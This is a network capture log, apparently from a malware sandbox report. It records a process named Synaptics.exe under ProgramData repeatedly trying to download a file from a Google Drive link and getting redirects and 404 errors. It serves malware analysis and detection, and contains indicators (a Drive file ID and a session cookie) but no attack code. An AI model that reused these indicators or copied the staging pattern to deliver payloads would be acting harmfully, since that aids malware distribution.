Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49771	142.250.186.129	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:12 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
2024-12-30 03:59:13 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC772yqfX8Vr5PZ9SaTmSETjHJBgBiIW4lhiJ3m8XvdntdiNiMoKdtQtndz0ZVgXb28C Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:13 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-1q2Qaz1c3vKaqdJrVWPd4Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 03:59:13 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-12-30 03:59:13 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 75 50 51 78 65 6c 51 71 69 62 68 4b 35 74 42 33 54 4f 41 79 57 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="uPQxelQqibhK5tB3TOAyWQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-12-30 03:59:13 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49769	142.250.186.129	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:12 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
2024-12-30 03:59:13 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC5mvV9VDPvfV3q3htwd_TzHuW1v6YcOl-HmwABmrmLmMrJN2BMZF-0_LSKkFwQa3hWO Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:13 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-NKTiXMR5I4kFECjrCqQ4iA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 03:59:13 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-12-30 03:59:13 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 6c 76 76 6c 33 48 6a 36 66 43 53 33 57 4a 64 38 44 2d 72 32 67 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="lvvl3Hj6fCS3WJd8D-r2gA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-12-30 03:59:13 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49772	142.250.181.238	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:12 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-12-30 03:59:13 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:13 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-FC1KxSWsj8QIMlZI4LPClg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49776	142.250.181.238	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:13 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49777	142.250.186.129	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:13 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49778	142.250.181.238	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:13 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49779	142.250.186.129	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:13 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49782	142.250.181.238	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:14 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-12-30 03:59:15 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:14 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-l1T-YZRNs1zO_DVgPmmyXQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49781	142.250.181.238	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:14 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-12-30 03:59:15 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:14 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-ibNcj7Ed7u9YVEf67NFsEA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49780	142.250.186.129	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:14 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
2024-12-30 03:59:15 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC6mqJwtfrff6dEMz2zdI-MZFVEfWBAi9ogwB5EJjBSR-kiKsOHS3hybyISElQzyj6YfFc8Zbf8 Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:15 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-Hf0HhBYGkcFyoCnC1j0V8w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 03:59:15 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2024-12-30 03:59:15 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 2d 6d 5a 2d 50 51 5f 31 6e 45 58 36 75 44 6d 50 6c 75 49 39 4e 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="-mZ-PQ_1nEX6uDmPluI9NQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2024-12-30 03:59:15 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49788	142.250.186.129	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:15 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
2024-12-30 03:59:16 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC5yiLlsHAC2osUDoJ3wZEZkaT_Ww5dW-IkL58V0oCyHflEwfJXLeAYrp7Y76LcdbirVhiQI3uc Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:16 GMT Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-Dh4VrrvCx2pVOWGDxtQUDQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 03:59:16 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2024-12-30 03:59:16 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 6e 53 79 53 79 54 66 55 5a 5f 6e 30 51 64 63 6e 79 78 66 64 79 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="nSySyTfUZ_n0QdcnyxfdyQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2024-12-30 03:59:16 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
